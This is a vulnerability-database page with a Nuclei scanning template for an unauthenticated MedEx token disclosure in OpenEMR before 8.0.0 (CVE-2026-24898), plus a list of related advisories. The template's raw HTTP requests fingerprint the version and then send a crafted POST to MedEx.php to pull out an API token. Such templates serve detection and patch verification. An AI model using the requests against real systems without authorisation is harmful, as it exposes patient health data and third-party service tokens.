OpenEMR < 8.0.0 - MedEx Callback Unauthenticated Token Disclosure
| Reporter | Title | Published | Views | Family All 13 |
|---|---|---|---|---|
| CVE-2026-24898 | 3 Mar 202622:10 | – | attackerkb | |
| CVE-2026-24898 | 3 Mar 202622:18 | – | circl | |
| OpenEMR authorization issue vulnerability | 3 Mar 202600:00 | – | cnnvd | |
| CVE-2026-24898 | 3 Mar 202622:10 | – | cve | |
| CVE-2026-24898 OpenEMR has an Unauthenticated MedEx Token Disclosure | 3 Mar 202622:10 | – | cvelist | |
| EUVD-2026-9328 | 3 Mar 202622:10 | – | euvd | |
| CVE-2026-24898 | 3 Mar 202622:10 | – | mend | |
| CVE-2026-24898 | 3 Mar 202622:16 | – | nvd | |
| CVE-2026-24898 OpenEMR has an Unauthenticated MedEx Token Disclosure | 3 Mar 202622:10 | – | osv_cve | |
| PT-2026-22835 | 3 Mar 202600:00 | – | ptsecurity |
10
id: CVE-2026-24898
info:
name: OpenEMR < 8.0.0 - MedEx Callback Unauthenticated Token Disclosure
author: Securin
severity: critical
description: |
OpenEMR < 8.0.0 contains an unauthenticated token disclosure caused by bypassing authentication in the MedEx callback endpoint, letting unauthenticated visitors obtain MedEx API tokens and perform unauthorized actions, exploit requires crafted POST request with callback_key.
impact: |
Unauthenticated attackers can obtain API tokens, leading to third-party service compromise, PHI exfiltration, and HIPAA violations.
remediation: |
Upgrade to version 8.0.0 or later.
reference:
- https://github.com/openemr/openemr/security/advisories/GHSA-qwff-3mw7-7rc7
- https://nvd.nist.gov/vuln/detail/CVE-2026-24898
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
cvss-score: 10
cve-id: CVE-2026-24898
epss-score: 0.02422
epss-percentile: 0.8416
cwe-id: CWE-200,CWE-306
cpe: cpe:2.3:a:open-emr:openemr:*:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 2
vendor: open-emr
product: openemr
shodan-query: http.title:"OpenEMR"
fofa-query: title="OpenEMR"
tags: cve,cve2026,openemr,auth-bypass,unauth,exposure,intrusive
flow: http(1) && http(2) && http(3)
http:
- raw:
- |
GET /composer.json HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(body, "openemr")'
- 'compare_versions(version, "< 8.0.0")'
condition: and
internal: true
extractors:
- type: regex
part: body
group: 1
name: version
internal: true
regex:
- '"version"\s*:\s*"([0-9]+\.[0-9]+\.[0-9]+)"'
- raw:
- |
GET /library/MedEx/MedEx.php HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'contains(body, "Not logged in:")'
- '!contains(body, "\"error\"")'
condition: and
internal: true
- raw:
- |
POST /library/MedEx/MedEx.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
callback_key={{randstr}}
matchers-condition: or
matchers:
- type: dsl
name: token-disclosed
dsl:
- 'status_code == 200'
- 'contains(content_type, "json")'
- 'contains(body, "\"token\"")'
condition: and
- type: dsl
name: auth-bypass
dsl:
- 'status_code == 200'
- 'contains(content_type, "json")'
- 'regex("^\\s*false\\s*$", body)'
condition: and
# digest: 4b0a00483046022100d017135c691a528ca6c493968100bd23f382b7d37b373064f97264ed072d42f1022100cc14c546cce21a22e3c57cda0f85eb9cda0416ecf41ecba16e1aa5ed4a6bcf0a:922c64590222798bb761d5b6d8e72950Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
28 Oct 2026 04:44Current
5.8Medium risk
Vulners AI Score5.8
CVSS 3.19.8 - 10
EPSS0.02422
SSVC